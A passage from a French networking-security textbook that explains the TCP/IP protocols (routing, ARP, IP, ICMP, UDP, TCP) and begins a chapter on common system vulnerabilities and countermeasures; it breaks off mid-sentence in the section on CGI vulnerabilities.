IP. IP suppose que tout système est rattaché à un réseau local. Et un système peut
envoyer un datagramme à n'importe quel système de son propre réseau. Dans le cas
d'Ethernet, il suffit d'envoyer le datagramme sur le câble après avoir trouvé l'adresse
Ethernet. Lorsqu'il s'agit d'envoyer un datagramme sur un autre réseau, le problème
du routage est résolu par les passerelles (gateways).

Une passerelle est un système qui connecte un réseau à un ou plusieurs autres


réseaux ; c'est souvent un ordinateur ayant plusieurs interfaces réseau. Pour illustrer
notre propos, prenons l’exemple d’une machine Unix avec deux interfaces Ethernet
connectées aux réseaux 193.95.20 et 193.95.21 : elle peut donc servir de passerelle
entre ces deux réseaux. Son logiciel doit être configuré de manière à pouvoir
transférer les datagrammes d'un réseau à l'autre, c'est-à-dire, si une machine du
réseau 193.95.20 envoie un datagramme à la passerelle pour une machine du réseau
193.95.21, cette passerelle devra transférer le datagramme sur le réseau 193.95.21.
Dans la plupart des cas on utilise des passerelles spécialisées pour des raisons de
performance et de fiabilité.

Le routage IP est entièrement basé sur le numéro de réseau et sur l'adresse de


destination. Chaque ordinateur a une table de correspondance (Table de routage)
entre numéros de réseaux et adresses des passerelles permettant de les atteindre. Une
passerelle n'a pas besoin d'être connectée directement au réseau qu’elle a à atteindre.

Un ordinateur qui veut émettre un datagramme commence par vérifier la


présence, sur son propre réseau, de l'adresse de destination. Si l’adresse y est; le
datagramme est envoyé directement. Le cas échéant, il doit rechercher l'adresse
d'une passerelle, pour atteindre cet autre réseau, dans sa table de routage. Cette table
peut être assez grande, l'Internet, par exemple, et est composée de plusieurs
centaines de réseaux ; on doit donc développer plusieurs stratégies permettant de
réduire la taille de cette table.
Les protocoles TCP/IP 43

Une de ces stratégies repose sur les routes par défaut (default routes) ; il n'y a
souvent qu'une seule passerelle permettant de sortir d'un réseau. On n'a donc pas
besoin, dans ce cas, d'une entrée pour tous les réseaux du monde : il suffit de définir
cette passerelle comme la route par défaut pour atteindre les réseaux extérieurs.
Quand on ne trouve pas de route spécifique pour un datagramme, celui-ci est envoyé
à la passerelle par défaut. Dans le cas de plusieurs passerelles sur un réseau, on peut
utiliser également une passerelle par défaut.

Type de routage
La mise à jour des tables de routage peut s’avérer lourde car elles doivent être
cohérentes entre les différents routeurs et la topologie du réseau. Aussi existe-t-il
deux types de routages : statique et dynamique.

Si les informations de routage sont entrées manuellement, à l’aide de


commandes en ligne, c’est un cas de routage statique, et ces informations ne sont pas
propagées entre les routeurs. Si, par contre, les informations de routage sont
propagées entre les routeurs à l’aide d’un protocole comme RIP ou OSPF, on parle
de routage dynamique.

De nombreux experts IP recommandent de ne pas surcharger les tables de


routage des différents ordinateurs du réseau, mais d'utiliser plutôt les passerelles par
défaut et de les laisser se communiquer les routes car elles constituent leurs tables de
routage en utilisant des protocoles de routage. Ce sont ces techniques qui permettent
la mise à jour des informations utilisées pour atteindre les différents réseaux.

2.6. Les protocoles ARP et RARP

Le protocole IP, ainsi que ses adresses, peuvent être utilisés sur des architectures
matérielles différentes (réseau Ethernet, Token-Ring, etc.) ayant chacune sa propre
adresse physique. Il y a lieu d’établir des correspondances biunivoques entre
adresses IP et adresses matérielles des ordinateurs d’un réseau. Ceci est l’objet des
protocoles ARP (Address Resolution Protocol) et RARP (Reverse Address
Resolution Protocol). ARP fournit une correspondance dynamique entre une adresse
IP connue et l’adresse matérielle correspondante, RARP faisant l’inverse.

La technique utilisée par ARP consiste à :


– diffuser l'adresse IP sur le réseau physique,
– identifier la machine d'adresse IP qui émet un message contenant son adresse
physique,
– identifier les machines non concernées qui ne répondent pas,
44 La sécurité sur Internet

– gérer le cache (mémoire) pour ne pas effectuer de requête ARP à chaque


émission.

Pour connaître l'adresse physique PB d’une machine B, à partir de son adresse


IP, en l’occurrence IB, une machine A diffuse une requête ARP qui contient
l'adresse IB vers toutes les machines ; la machine B répond avec un message ARP
qui contient la paire d’information (IB, PB).

Le cache ARP (Tableau de correspondance en mémoire)


Pour un fonctionnement efficace de l’ARP, le maintien d’un cache ARP sur
chaque machine est essentiel. Ce cache maintient les correspondances entre les
adresses Internet et les adresses matérielles récemment utilisées. Le délai normal
d’expiration d’une entrée dans le cache est de 20 minutes après la création de cette
entrée.

La commande « arp » permet d’examiner le contenu du cache ARP. L’option –a


permet d’afficher toutes les entrées.

Les adresses physiques Ethernet de 48 bits (MAC : Media Acesss Control) sont
affichées sous la forme de six nombres hexadécimaux séparés par des « : ».

Dans ce qui suit, l’adresse matérielle cible correspond à l’adresse physique du


système-cible.

Format du paquet ARP

Figure 2.6. Format du paquet ARP

La Figure 2.6 décrit le format d’une requête ARP ainsi qu’un paquet de réponses
ARP, lorsque ARP est utilisé sur Ethernet pour traiter une adresse IP.
Les protocoles TCP/IP 45

ARP est un protocole suffisamment générique pour être utilisé sur d’autres types
de réseaux et traiter des adresses autres que les adresses IP.

La requête ARP est véhiculée dans un message protocolaire lui-même encapsulé


dans la trame de liaison de données.
– le champ « Type de Matériel » spécifie le type d’adresse matérielle. Sa valeur
est égale à 1 pour Ethernet ;
– le champ « Type de Protocole » spécifie le type d’adresse de protocole devant
être translaté. Sa valeur est de 0x0800 pour les adresses IP ;
– les deux champs « Longueur matériel » et « Longueur protocole » indiquent
les tailles en octets des adresses matérielles et des adresses de protocoles. Pour une
requête ou une réponse ARP et pour une adresse IP sur un Ethernet, ils contiennent
respectivement les valeurs 6 et 4 ;
– le champ « Opération » indique si l’opération est une requête ARP (une valeur
de 1), une réponse ARP (valeur 2), une requête RARP (valeur 3), ou une réponse
RARP (valeur 4) ;
– les quatre champs suivants sont l’adresse matérielle de l’émetteur (une adresse
Ethernet dans cet exemple), l’adresse de protocole de l’émetteur (une adresse IP),
l’adresse matérielle cible, et l’adresse du protocole cible.

Pour une requête ARP, tous les champs sont renseignés sauf l’adresse matérielle
cible. Lorsqu’un système reçoit une requête ARP qui lui est adressé, il remplit son
adresse matérielle, permute les deux adresses de l’émetteur avec les deux adresses
cibles, place la valeur 2 dans le champ « Opération », puis envoie la réponse.

Proxy ARP
Proxy ARP permet à un routeur de gérer les requêtes ARP adressées aux
machines d’un autre réseau. L’émetteur croit envoyer la requête ARP à la machine
cible alors qu’il s’adresse en fait à un routeur qui fait le lien avec la véritable
machine de destination située, elle même, « de l’autre côté » du routeur. Le routeur,
étant un simple filtre, agit alors comme un agent proxy. Il simule le comportement
de la machine de destination, et lui transmet des paquets venant des autres machines.

ARP Gratuit
Une autre caractéristique de ARP est sa capacité à détecter la configuration
appelée « ARP gratuit ». Il intervient lorsqu’une machine envoie une requête ARP
en cherchant sa propre adresse matérielle. Cela se passe généralement au démarrage
de la machine, lors de la configuration de l’interface.
46 La sécurité sur Internet

ARP gratuit procure deux fonctionnalités. D’une part, il laisse à la machine la


possibilité de déterminer si une autre machine est déjà configurée avec la même
adresse IP. La machine émettrice du paquet ARP gratuit n’attend pas de réponse à
cette requête (autrement dit, la réponse n’est pas bloquante). Mais si une réponse est
reçue, le message d’erreur « duplicate IP address sent from Ethernet address :
a :b :c :d :e :f » est affiché sur la console. Il s’agit d’un avertissement (« warning »)
émis à l’intention de l’administrateur du système, indiquant que l’un des systèmes
est mal configuré.

D’autre part, si la machine envoyant l’ARP gratuit vient juste de changer


d’adresse matérielle2, ce paquet provoque une mise à jour de l’entrée dans le cache
ARP pour chaque machine (connectée sur le câble) dont l’entrée du cache pointe sur
l’ancienne adresse matérielle. Si une machine reçoit une requête ARP pour une
adresse IP qui est déjà dans le cache du récepteur, cette entrée dans le cache est mise
à jour avec l’adresse matérielle de l’émetteur (c’est-à-dire son adresse Ethernet)
contenue dans la requête ARP. Ce traitement est effectué systématiquement pour
toutes les requêtes ARP reçues par la machine.

2.7. Le protocole IP

Le protocole IP assure un service non fiable de délivrance des datagrammes IP.


Ce service est non fiable car il n’existe aucune garantie pour que les datagrammes IP
arrivent à destination. Certains peuvent être perdus, dupliqués, retardés, altérés ou
remis dans le désordre.

Ni l’émetteur, ni le récepteur, ne sont informés directement par IP des problèmes


rencontrés. Le mode de transmission est non connecté car IP traite chaque
datagramme indépendamment de ceux qui le précèdent et le suivent. Ainsi, au
moins, deux datagrammes IP issus du même chemin et ayant la même destination
peuvent ne pas suivre obligatoirement le même chemin.

Le protocole IP décrit trois normes importantes :


– une unité de données transférées dans les interconnexions IP. Elle décrit la
structure exacte de toutes les données qui transitent sur une connexion TCP/IP ;
– une fonction de routage. Il s’agit là du choix du chemin d’acheminement ;
– un ensemble de règles concrétisant le concept de remise de paquets non
fiables, le traitement des erreurs et la condition de destruction de paquets.

2 En cas d’arrêt de la machine, de remplacement de la carte d’interface ou de redémarrage.


Les protocoles TCP/IP 47

2.7.1. Structure des datagrammes IP

Un datagramme IP est constitué de deux parties : un en-tête et une partie pour les
données. La Figure 2.7 détaille sa structure.

Figure 2.7. Stucture du datagramme IP

VERS : la version Code, sur 4 bits, le numéro de la version du protocole IP


utilisé (la version courante est la 4, d’où son nom d’Ipv4).Tout logiciel IP doit
d’abord vérifier que le numéro de version du datagramme qu’il reçoit est en accord
avec lui-même. Si ce n’est pas le cas, le datagramme est tout simplement rejeté.

HLEN : la longueur d’en-tête représente, sur 4 bits et en nombre de mots de 32


bits, la longueur de l’en-tête du datagramme. Ce champ est nécessaire car un en-tête
peut avoir une taille supérieure à 20 octets (taille de l’en-tête classique) pour
permettre d’éventuelles options.

Le type de services (TOS) est codé sur 8 bits et indique la manière dont doit être
géré le datagramme. Il se subdivise en cinq sous-champs comme suit :

Précédence D T R Inutilisé

PRECEDENCE (3 bits) : elle définit la priorité du datagramme ; en général


ignorée par les machines et passerelles en cas de problème de congestion. Ce champ
varie de 0 (priorité normale, valeur par défaut) à 7 (priorité maximale pour la
supervision du réseau).
48 La sécurité sur Internet

Bits D, T, R : ils indiquent le type d'acheminement désiré du datagramme et


permettent à une passerelle de choisir entre plusieurs routes éventuelles : (D = délai
court, T = débit élevé et R = demande de grande fiabilité).

La longueur totale contient la taille totale en octets du datagramme. Mais,


comme ce champ est de 2 octets, la taille complète d’un datagramme ne peut
excéder 65535 octets. Utilisée avec la longueur de l’en-tête, elle permet de
déterminer où commencent exactement les données transportées.

Les champs identification, drapeaux et déplacement de fragmentation


interviennent dans le processus de fragmentation des datagrammes IP.

La durée de vie (TTL) indique le nombre maximal de routeurs que peut traverser
le datagramme. Cette durée est initialisée, par la station émettrice, à N (souvent 32
ou 64) et décrémentée de 1 par chaque routeur qui la reçoit et la réexpédie.
Lorsqu’un routeur reçoit un datagramme dont la durée de vie est nulle, il le détruit et
envoie à l’expéditeur un message ICMP.

Le protocole permet de coder le protocole le plus haut ayant servi à créer ce


datagramme. Les valeurs codées sur 8 bits sont par exemple 1 pour ICMP, 6 pour
TCP et 17 pour UDP. Ainsi, la station destinatrice qui reçoit un datagramme IP est
en mesure de diriger les données vers le protocole adéquat.

Le total de contrôle d’en-tête (header checksum) est calculé à partir de l’en-tête


du datagramme pour en assurer l’intégrité des données transportées. Ceci est assuré
directement par les protocoles ICMP, TCP et UDP qui les émettent.

Les adresses IP source et destination contiennent sur 32 bits les adresses de la


machine émettrice et destinataire finale du datagramme.

Le champ options est une liste de longueur variable, mais toujours complétée par
des bits de bourrage pour atteindre une taille multiple de 32 bits dans un souci de
conformité avec la convention qui définit le champ longueur de l’en-tête. Ces
options, dont la sécurité et la gestion (domaine militaire), l’enregistrement de la
route, l’estampille horaire, routage strict, etc., sont très peu utilisées car peu de
machines sont aptes à les gérer.

2.7.2. Fragmentation des datagrammes

Chaque type de réseau physique autorise une certaine longueur de trame. Ainsi,
pour Ethernet, la longueur est autorisée à 1500 octets, contre 2044 pour une trame
Token Ring.
Les protocoles TCP/IP 49

Pour des raisons de performances, il est interdit de réduire la taille des


datagrammes IP en fonction du plus petit dénominateur commun des différentes
trames physiques existantes. Lors du passage sur des réseaux ayant une MTU
(Maximum Transport Unit) plus faible, il faut donc procéder à la fragmentation du
datagramme. La taille de chaque fragment est choisie pour pouvoir être encapsulée
dans une seule trame de données.

Contrôle de la fragmentation du datagramme (voir Figure 2.8) :


– le champ Identificateur contient un entier unique identifiant le datagramme.
– le champ Offset Fragment exprime en multiples de 8 octets l’offset de données
par rapport au datagramme initial et commence à zéro.
– le champ Flags (Drapeaux) est codé sur trois bits. Les deux bits de poids faible
de ce champ servent à contrôler la fragmentation.

Si le bit MF est positionné à 1, ceci signifie que d’autres fragments vont suivre.
S’il est positionné à 0, ceci signifie que le fragment courant est le dernier fragment
du segment.

Si le bit DF est positionné à 1, ceci signifie que le segment ne peut pas être
fragmenté. S’il est positionné à 0, ceci signifie que le segment peut être fragmenté.

Figure 2.8. Bits de contrôle de la fragmentation du datagramme IP

2.8. Le protocole ICMP

Le protocole ICMP (Internet Control Message Protocol) organise un échange


d’informations permettant aux routeurs et aux machines d’envoyer des messages
d’erreurs et de commande à d’autres ordinateurs ou routeurs. Ce protocole est décrit
dans la RFC n° 792. Bien qu’ICMP tourne au-dessus de IP, il est requis dans tous les
50 La sécurité sur Internet

routeurs. C’est pour cette raison qu’il est placé dans la couche IP. Le but d’ICMP
n’est pas de fiabiliser le protocole IP, mais de fournir à la couche IP, ou à une
couche supérieure de protocole (TCP ou UDP), le compte-rendu d’une erreur
détectée dans un routeur ou une machine.

Lors de son acheminement à l’intérieur d’un datagramme IP, comme illustré


dans la Figure 2.9, un message ICMP est susceptible, lui aussi, de générer des
erreurs de transmission. Dans ce cas, aucun message d’erreur ICMP ne sera généré
suite à cette nouvelle erreur pour éviter la congestion des systèmes par une
avalanche de messages d’erreurs.

Figure 2.9. Encapsulation d’un message ICMP

2.8.1. Format des messages ICMP

Le format des messages ICMP est composé de trois champs invariants :

Champ Longueur Rôle

Type 8 bits Indique le type de message

Code 8 bits Informations supplémentaires


sur le type de message

Total de contrôle 16 bits Checksum de contrôle

Le champ type peut recevoir 15 valeurs pour spécifier les différences de nature
du message envoyé. Pour certains types, le champ code sert à préciser encore plus le
contexte d’émission du message.
Les protocoles TCP/IP 51

Le Cheksum est une somme de contrôle de tout le message ICMP. Le détail des
différentes catégories de messages est donné dans les deux tableaux suivants :

N° Type Signification

0 Réponse d’écho

3 Destination inaccessible

4 Limitation de source (régulation du flux)

5 Changement de route

8 Demande d’écho

11 Expiration de délai

12 Problème de paramètre avec un datagramme

13 Demande d’estampille de temps

14 Réponse d’estampille de temps

15 Demande d’informations (périmé)

16 Réponse d’informations (périmé)

17 Demande de masque

18 Réponse de masque

Tableau 2.1. Les valeurs du champ Type


52 La sécurité sur Internet

N° Type Signification

0 Réseau inaccessible

1 Machine inaccessible

2 Protocole inaccessible

3 Port inaccessible

4 Fragmentation requise et bit DF

5 Echec de routage source

6 Réseau destination inconnue

7 Machine destination inconnue

8 Machine source isolée

9 Interdiction administrative de dialogue


avec le réseau demandé

10 Interdiction administrative de dialogue


avec la machine demandée

11 Réseau inaccessible pour le service demandé

12 Machine inaccessible pour le service demandé

Tableau 2.2. Les valeurs du champ Code quand le champ Type = 3

Il existe deux types de messages ICMP, à savoir des messages de commandes et


des messages d’erreurs. Ces messages ICMP rendent compte d’erreurs et renvoient
systématiquement les 64 premiers bits du datagramme fautif.
Les protocoles TCP/IP 53

2.8.2. Format des messages ICMP de commande

Le format des messages ICMP de commande est :

TYPE CODE Checksum de contrôle

Identifier Sequence Number

Données spécifiques…

Les champs Identifier et Sequence Number sont utilisés par l’émetteur pour
contrôler les réponses aux requêtes, (Code = 0). Par exemple la commande d’écho et
réponse dont le champ Type est égale à 8 ou 0 respectivement, permet à une
machine ou passerelle de déterminer la validité d’un chemin sur le réseau. Le champ
de données spécifiques est composé de données optionnelles éventuelles de longueur
variable émises par la requête d’écho et devant être renvoyées par le destinataire.
Cette commande ICMP est utilisée par les outils applicatifs tels Ping et Traceroute.

2.8.3. Format des messages ICMP d’erreur

Le format des messages ICMP d’erreur est :

TYPE CODE Checksum de contrôle

SPECIFIQUE

IP Header + First 64 bits


(En-tête IP + 64 bits du datagramme fautif)

Le champ SPECIFIQUE est un champ de données spécifiques du type d’erreur.


Le champ « IP Header + First 64 bits » contient l’en-tête IP en plus des premiers 64
bits de données du datagramme pour lequel le message est émis.

Si, par exemple, une passerelle détecte une boucle de routage ou un délai
excessivement long, elle procède à la destruction du datagramme et expédie un
message du type :
54 La sécurité sur Internet

TYPE = 11 CODE = (0 ou 1) Checksum de contrôle

Tout à zéro

IP Header + First 64 bits


(En-tête IP + 64 bits du datagramme fautif)

Si le code est égal à :


– 0 : la raison en est la durée de vie ;
– 1 : c’est que la durée de ré-assemblage des fragments a expiré.

2.9. Le protocole UDP

Le protocole UDP (RFC n° 768) utilise IP pour acheminer, d’un ordinateur à un


autre, en mode non fiable, des datagrammes qui lui sont transmis par une
application. Il est situé au-dessus de IP. Le contrôle d’intégrité des données
transmises est à la charge de l’application utilisant les services d’UDP.

UDP n’utilise pas d’accusé de réception et ne peut, par conséquent, garantir la


bonne réception des données. Il ne restitue pas les messages qui n’arrivent pas dans
l’ordre de leur émission et il n’assure pas non plus le contrôle du flux. Il se peut
donc que le récepteur ne soit pas apte à faire face au flux de datagrammes qui lui
arrivent. C’est donc à l’application qui utilise UDP de gérer les problèmes de perte
de messages, de duplications, de retards, de séquencements, etc.

Cependant, UDP fournit un service supplémentaire par rapport à IP. Il permet de


distinguer plusieurs applications destinataires sur la même machine par l’intermédiaire
des ports. Un port est une destination abstraite sur une machine identifiée par un
numéro qui sert d’interface à l’application pour recevoir et émettre des données
(Figure 2.10). L’application Web/80/TCP, par exemple, utilise le port 80 et le
protocole TCP.

Pour transmettre un message d’une application à une autre, un numéro de port


doit être identifié. Les ports dont les numéros sont inférieurs à 1024 sont des ports
standard et sont affectés à des applications ou services connus. Par exemple, le
numéro affecté au service Telnet est 23. Ces ports définis sont appelés « ports
réservés affectés ». Les ports dont les numéros de ports sont supérieurs à 1024
peuvent être assignés dynamiquement aux applications.
Les protocoles TCP/IP 55

Figure 2.10. Identification des applications : Notions de ports

Chaque datagramme émis par UDP est encapsulé dans un datagramme IP en y


fixant la valeur du protocole à 17. Le format détaillé d’un datagramme UDP contient
deux parties : une partie en-tête UDP, et une partie données.

Port UDP source Port UDP destination

Longueur du message UDP Checksum de contrôle

Données…

Les numéros de port (chacun sur 16 bits) identifient les processus émetteur et
récepteur. Le champ longueur contient, sur 2 octets, la taille de l’en-tête et des
données transmises. Puisqu’un datagramme UDP peut ne transmettre aucune
donnée, la valeur minimale de la longueur est 8.

Le checksum est un total de contrôle qui est optionnel car il n’est pas
indispensable lorsque UDP est utilisé sur un réseau très fiable. S’il est fixé à 0, c’est
qu’en fait il n’a pas été calculé.

Le tableau 2.3 détaille quelques ports UDP standard.


56 La sécurité sur Internet

N° du port Mot-clé Description

7 ECHO Echo

11 USERS Active Users

13 DAYTIME Daytime

53 DOMAIN Domain Name Server

67 BOOTPS Boot Protocol Server

68 BOOTPC Boot Protocol Client

69 TFTP Trivial File Transfert Protocol

Tableau 2.3. exemples de Ports UDP standard

2.10. Le protocole TCP

Contrairement à UDP, TCP est un protocole qui procure un service de flux


d’octets orienté connexion fiable. Les données transmises par TCP sont encapsulées
dans des datagrammes IP en y fixant la valeur du protocole à 6.

Le terme « orienté connexion » signifie que les applications dialoguant à travers


TCP sont considérées l’une comme un serveur, l’autre comme un client, et qu’elles
doivent établir une connexion avant de pouvoir dialoguer. Il y a donc exactement
deux extrémités communiquant l’une avec l’autre sur une connexion TCP. Cette
connexion est bidirectionnelle simultanée (full duplex) et composée de deux flots de
données indépendants et de sens contraire. Les données n’étant pas interprétées par
TCP, c’est donc aux applications d’extrémité de gérer la structure du flot de
données.

La fiabilité fournie par TCP consiste à remettre des datagrammes, sans perte, ni
duplication, alors même qu’il utilise IP qui, lui, est un protocole de remise non
fiable. Ceci est réalisé à l’aide de la technique générale de l’accusé de réception
(ACK) présentée de manière simplifiée dans la Figure 2.11.
Les protocoles TCP/IP 57

Figure 2.11. Technique de l’accusé de réception (ACK)

Chaque segment est émis avec un numéro qui sert au récepteur à renvoyer un
accusé de réception. Ainsi l’émetteur sait si l’information qu’il voulait transmettre
est bien parvenue à destination. De plus, à chaque envoi de segment, l’émetteur
arme une temporisation qui lui sert de délai d’attente de l’accusé de réception
correspondant à ce segment. Lorsque la temporisation expire sans qu’il ait reçu de
ACK, l’émetteur considère que le segment est perdu et il le réexpédie. Mais, à la
suite d’un engorgement de réseau ou d’une perte de l’accusé de réception
correspondant, il arrive que la temporisation expire alors que le segment passe sans
problème. Dans ce cas, l’émetteur réexpédie le segment censé perdu, mais le
récepteur garde trace des numéros de segments reçus, et est capable de faire la
distinction et d’éliminer les doublons.

2.10.1. Principe de la fenêtre glissante

Si l’émetteur est obligé d’attendre un accusé avant d’émettre le paquet suivant, il


va en découler une perte d’efficacité importante. La « fenêtre glissante » est prévue
pour réduire cette perte de temps.

L’émetteur peut envoyer un petit nombre de paquets avant d’être contraint


d’attendre l’accusé de réception du premier d’entre eux (Figure 2. 12).
58 La sécurité sur Internet

Figure 2.12. Fenêtre glissante

Plus la dimension de la « fenêtre » est importante, plus le débit peut être élevé,
jusqu’à saturation du réseau. Les performances en sont d’autant plus améliorées car
la bande passante est alors mieux exploitée.

2.10.2. Format du segment TCP

Les flots de données sont perçus par TCP comme des séquences d’octets divisées
en segments. En principe, chaque segment est transmis dans un seul datagramme. La
Figure 2.13 donne le format d’un segment TCP qui sert aux trois fonctionnalités de
TCP : établir une connexion, transférer des données et libérer une connexion.

Figure 2.13. Format du segment TCP

L’en-tête, sans option, d’un segment TCP a une taille totale de 20 octets et se
compose des champs suivants :
– le port source et le port destination identifient les applications émettrice et
réceptrice. En les associant aux adresses IP sources et destination du datagramme IP
Les protocoles TCP/IP 59

qui transporte un segment TCP, on parvient à identifier de manière univoque chaque


connexion ;
– le numéro de séquence donne la position du segment dans le flux de données
envoyées par l’émetteur ; c’est-à-dire la place dans ce flux du premier octet de
données transmis dans ce segment ;
– le numéro d’accusé de réception contient le numéro de séquence suivant que le
récepteur s’attend à recevoir ; c’est-à-dire le numéro de séquence du dernier octet
reçu avec succès plus 1 ;
– la longueur d’en-tête contient, sur 4 bits, la taille de l’en-tête, y compris les
options présentes, codée en multiple de 4 octets. Ainsi, un en-tête peut avoir une
taille variant de 20 octets (aucune option) à 60 octets (maximum d’options) ;
– le champ réservé comporte 6 bits réservés à un usage ultérieur ;
– les 6 champs bits de code qui suivent permettent de spécifier le rôle et le
contenu du segment TCP. La signification de chaque bit, quand il est fixé à 1, est
comme suit :
URG, le pointeur de données urgentes est valide ;
ACK, le champ d’accusé de réception est valide ;
PSH, ce segment requiert un push ;
RST, réinitialiser la connexion ;
SYN, synchroniser les numéros de séquence pour initialiser une connexion ;
FIN, l’émetteur a atteint la fin de son flot de données.

La taille de fenêtre est un champ de 16 bits qui sert au contrôle de flux selon la
méthode de la fenêtre glissante. Il indique le nombre d’octets (moins de 65535) que
le récepteur est prêt à accepter. Ainsi l’émetteur augmente ou diminue son flux de
données en fonction de la valeur de cette fenêtre qu’il reçoit.

Le checksum est un total de contrôle sur 16 bits utilisé pour vérifier la validité de
l’en-tête et des données transmises.

Le pointeur d’urgence est un offset positif qui, ajouté au numéro de séquence du


segment, indique le numéro du dernier octet des données urgentes. Le bit URG doit
nécessairement être positionné à 1 afin d’indiquer les données urgentes que le
récepteur TCP doit passer le plus rapidement possible à l’application associée à la
connexion. L’option la plus couramment utilisée est celle de la taille maximale du
segment TCP qu’une extrémité de la connexion souhaite recevoir. Lors de
l’établissement de la connexion, les deux parties négocient la taille maximale de
segment (MMS, Maximale Segment Size). Sur les machines à faible débit, celle-ci
est ajustée de manière à remplir le segment.
60 La sécurité sur Internet

2.10.3. Etablissement d’une connexion TCP

La connexion débute à l’aide d’une séquence de synchronisation et d’émission


d’accusés. La connexion est établie en trois temps de manière à assurer la
synchronisation nécessaire entre les extrémités (Figure 2.14).

Figure 2.14. Etablissement d’une connexion TCP

Ce processus permet d’assurer que les deux extrémités de la connexion sont


prêtes à émettre et recevoir des données. Il initialise également le numéro de
séquence. Le tableau 2.4 présente quelques ports TCP standards.

N° du Port Mot-clé Description

20 FTP-DATA File Transfer [Default Data]

21 FTP File Transfer [Control]

23 TELENET Telnet

25 SMTP Simpe Mail Transfer Protocol

80 HTTP WWW

110 POP3 Post Office Protocol Version 3

Tableau 2.4. Exemples de Ports TCP standards


Les protocoles TCP/IP 61

Résumé du chapitre 2

Ce chapitre aura permis au lecteur de maîtriser le standard des protocoles de


communications réseaux, à savoir les TCP/IP. Un administrateur averti doit savoir
que les usurpations visent principalement les TCP/IP. Il se doit donc de connaître les
protocoles de communication en général, et les protocoles TCP/IP en particulier,
afin de mieux aborder les techniques de sécurité.

Pour approfondir le sujet, on recommande au lecteur de consulter les nombreux


livres spécialement dédiés à ces protocoles (voir bibliographie). Dans le chapitre
suivant, nous allons détailler les principales vulnérabilités relatives à ces protocoles
et aux services Internet.
Chapitre 3

Les vulnérabilités au sein des systèmes


d’informations et d’Internet

3.1. Introduction

Dans ce chapitre, nous détaillerons les failles de sécurité qui rendent systèmes et
réseaux perméables aux attaques des pirates. Ces lacunes, qui sont dues à des erreurs
de configuration ou de programmation, doivent d’abord être identifiées pour
diminuer les risques et pouvoir ainsi être corriger par la suite grâce aux tests
d’intrusion que tout un chacun doit appliquer.

Un système se révèle relativement facile à pénétrer ou à casser s’il n’est pas


sécurisé ou mis à jour avec les derniers « patchs »1 correctifs. Mettre à jour et
protéger les systèmes devient de plus en plus difficile compte tenu du nombre varié
des systèmes d’exploitation (SE) et des ressources budgétaires et personnelles
restreintes dans la plupart des entreprises. Les difficultés que rencontrent les
administrateurs voulant mettre à jour leurs systèmes proviennent du nombre élevé
des vulnérabilités mensuellement publiées dans Bugtraq (www.securityfocus.com),
eSecurityonline (www.esecurityonline.com), CERT (www.cert.org) ou autres
services diffusant les vulnérabilités (entre 20 et 70/mois). Selon le CERT2, le

1 Petit programme ou recommandation pour la correction.


2 Computer Emergency Response Team : www.cert.org.
64 La sécurité sur Internet

nombre de vulnérabilités signalées entre 1995 et 2003 est d’environ 12 946 et se


répartit comme suit :

Année 1995 1996 1997 1998 1999 2000 2001 2002 2003

Vulnérabilités 171 345 311 262 417 1,090 2,437 4,129 3,784

Malheureusement, les crackers disposent d’un laps de temps, parfois très


conséquent, entre le moment où les vulnérabilités sont publiées et le moment où
l’utilisateur « patche » son système. Plus cette période est longue, plus les risques
sont élevés. La solution pour sécuriser un système ou un réseau est de surveiller
constamment les nouveaux types de vulnérabilité et d’appliquer les « patchs » contre
ces dernières le plus rapidement possible. La sécurité d’un système dépend ainsi de
la célérité de l’administrateur à bloquer ces failles de sécurité.

Voici quelques exemples d’erreurs de configuration favorisant les intrusions des


attaquants :
– ouverture des services non nécessaires à l’exploitation,
– assignation incorrecte de permission des fichiers,
– utilisation des mots de passe connus ou trop usuels que l’on caractérise par
« utilisation pauvre » des mots de passe,
– droits d’ingénieurs systèmes ou administrateurs des réseaux violés ou mal
verrouillés…

Une simple entreprise peut réduire ces risques. Il suffit de créer un standard de
base et/ou une procédure de gestion de configuration. D’autre part, des tests d’auto
intrusion peuvent identifier les faiblesses et les trous sujets aux attaques éventuelles.
Il est impossible de bloquer tous les points d’accès à un réseau. Avec du temps et de
l’argent, n’importe quel système peut être compromis ou attaqué. Néanmoins, en le
mettant à jour avec les « patchs » et en le testant fréquemment, vous pouvez fermer
80 à 90% des trous de sécurité peuvent être bloqués et les risques considérablement
diminués.
Les vulnérabilités des systèmes d’informations 65

Plusieurs trous de sécurité que nous allons lister sont publiés par l’institut
SANS3. Cette liste n’est pas exhaustive, mais peut servir de point de départ pour les
entreprises voulant sécuriser leurs systèmes. Certains sont très spécifiques alors que
d’autres sont d’ordre plus général.

Les quelques exemples de vulnérabilités exposés ci-dessous compromettent


directement des systèmes cibles alors que d’autres informations peuvent aider les
pirates à préparer et lancer les attaques.

En commentant la liste ci-dessous, nous fournissons les occurrences, les types de


vulnérabilité ainsi que les contre-mesures permettant de fermer les trous de sécurité
correspondants :
– les trous des applications ;
– les vulnérabilités des interfaces CGI (Common Gateway Interface) ;
– les services non cryptés ;
– les comptes par défauts ;
– les problèmes du DNS ;
– les permissions des fichiers ;
– les problèmes des services Telnet et FTP ;
– les problèmes du protocole ICMP ;
– les problèmes du protocole SMTP ;
– les problèmes des protocoles IMAP, POP3 et POP2 ;
– les modems ;
– défaut de pilotage et de détection ;
– les problèmes d’architecture de réseaux ;
– les vulnérabilités du NFS (Network File System) ;
– les problèmes de Windows NT (Les fichiers partagés) ;
– les connexions de type Null de Windows NT ;
– les problèmes des mots de passe et des Id utilisateurs ;

3 System Administrator Networking and Security. www.sans.org.


66 La sécurité sur Internet

– les problèmes des services d’administration à distance ;


– les problèmes des RPC (Remote Procedure Call) ;
– les services installés par défaut ;
– les problèmes du protocole SNMP (Simple Network Management Protocol) ;
– les virus et les codes cachés ;
– les vulnérabilités des serveurs Web.

En dehors de cette liste, les entreprises doivent tenir compte aussi des autres
vulnérabilités lors de l’exécution de tests d’intrusion ou de simulations d’attaques.

3.2. Les trous des applications

Les trous des applications sont provoqués par des erreurs de programmation ou
dus à la négligence des administrateurs des systèmes. Comme test d’intrusion, on
peut mentionner les applications tournant à distance ou en batch. Une fois
identifiées, on peut rechercher les vulnérabilités et les exploiter.

Très souvent, par leurs bannières ou en-têtes, les applications dévoilent leur
nature ainsi que la version du système d’exploitation sous lequel elles fonctionnent.
Muni de ces informations, un pirate peut accéder aux bases de données des
vulnérabilités (par exemple, www.securityfocus.com).

3.3. Les vulnérabilités des interfaces CGI (Common Gateway Interfaces)

Appelé vulnérabilités CGI (Common Gateway Interface), ce type de risques peut


caractériser bon nombre de serveurs Web. Les programmes CGI donnent la
possibilité aux pages Web d’être interactives pour l’acquisition des données, lancer
